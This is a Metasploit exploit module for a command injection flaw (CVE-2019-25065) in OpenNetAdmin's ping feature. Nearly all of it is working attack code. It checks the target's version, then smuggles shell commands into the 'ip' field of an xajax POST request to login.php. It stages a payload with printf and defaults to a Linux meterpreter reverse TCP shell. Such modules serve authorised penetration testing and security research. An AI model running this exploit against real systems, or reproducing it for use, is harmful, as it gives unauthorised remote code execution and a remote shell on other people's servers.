OpenNetAdmin Ping Command Injection

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'OpenNetAdmin Ping Command Injection',
        'Description' => %q{
          This module exploits a command injection in OpenNetAdmin between 8.5.14 and 18.1.1.
        },
        'Author' => [
          'mattpascoe', # Vulnerability discovery and exploit
          'Onur ER <[email protected]>' # Metasploit module
        ],
        'References' => [
          ['CVE', '2019-25065'],
          ['EDB', '47691']
        ],
        'DisclosureDate' => '2019-11-19',
        'License' => MSF_LICENSE,
        'Platform' => 'linux',
        'Arch' => [ARCH_X86, ARCH_X64],
        'Privileged' => false,
        'Targets' => [
          ['Automatic Target', {}]
        ],
        'DefaultOptions' => {
          'RPORT' => 80,
          'payload' => 'linux/x86/meterpreter/reverse_tcp'
        },
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('VHOST', [false, 'HTTP server virtual host']),
        OptString.new('TARGETURI', [true, 'Base path', '/ona/login.php'])
      ]
    )
    deregister_options('CMDSTAGER::FLAVOR')
  end

  def check
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path),
      'ctype' => 'application/x-www-form-urlencoded',
      'encode_params' => false,
      'vars_post' => {
        'xajax' => 'window_open',
        'xajaxargs[]' => 'app_about'
      }
    })

    unless res
      return CheckCode::Unknown('Connection failed')
    end

    unless res.body =~ /OpenNetAdmin/i
      return CheckCode::Safe('The target is not vulnerable')
    end

    opennetadmin_version = res.body.scan(/OpenNetAdmin - v([\d\.]+)/).flatten.first
    version = Rex::Version.new(opennetadmin_version)

    if version
      vprint_status "OpenNetAdmin version #{version}"
    end

    if version.between?(Rex::Version.new('8.5.14'), Rex::Version.new('18.1.1'))
      return CheckCode::Appears("Version #{version} appears to be vulnerable")
    end

    CheckCode::Detected("Detected version #{version}")
  end

  def exploit
    print_status('Exploiting...')
    execute_cmdstager(flavor: :printf)
  end

  def execute_command(cmd, opts = {})
    begin
      send_request_cgi({
        'method' => 'POST',
        'uri' => normalize_uri(target_uri.path),
        'ctype' => 'application/x-www-form-urlencoded',
        'encode_params' => false,
        'vars_post' => {
          'xajax' => 'window_submit',
          'xajaxargs[]' => ['tooltips', "ip=>;#{CGI.escape(cmd)};", 'ping']
        }
      })
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
    end
  end
end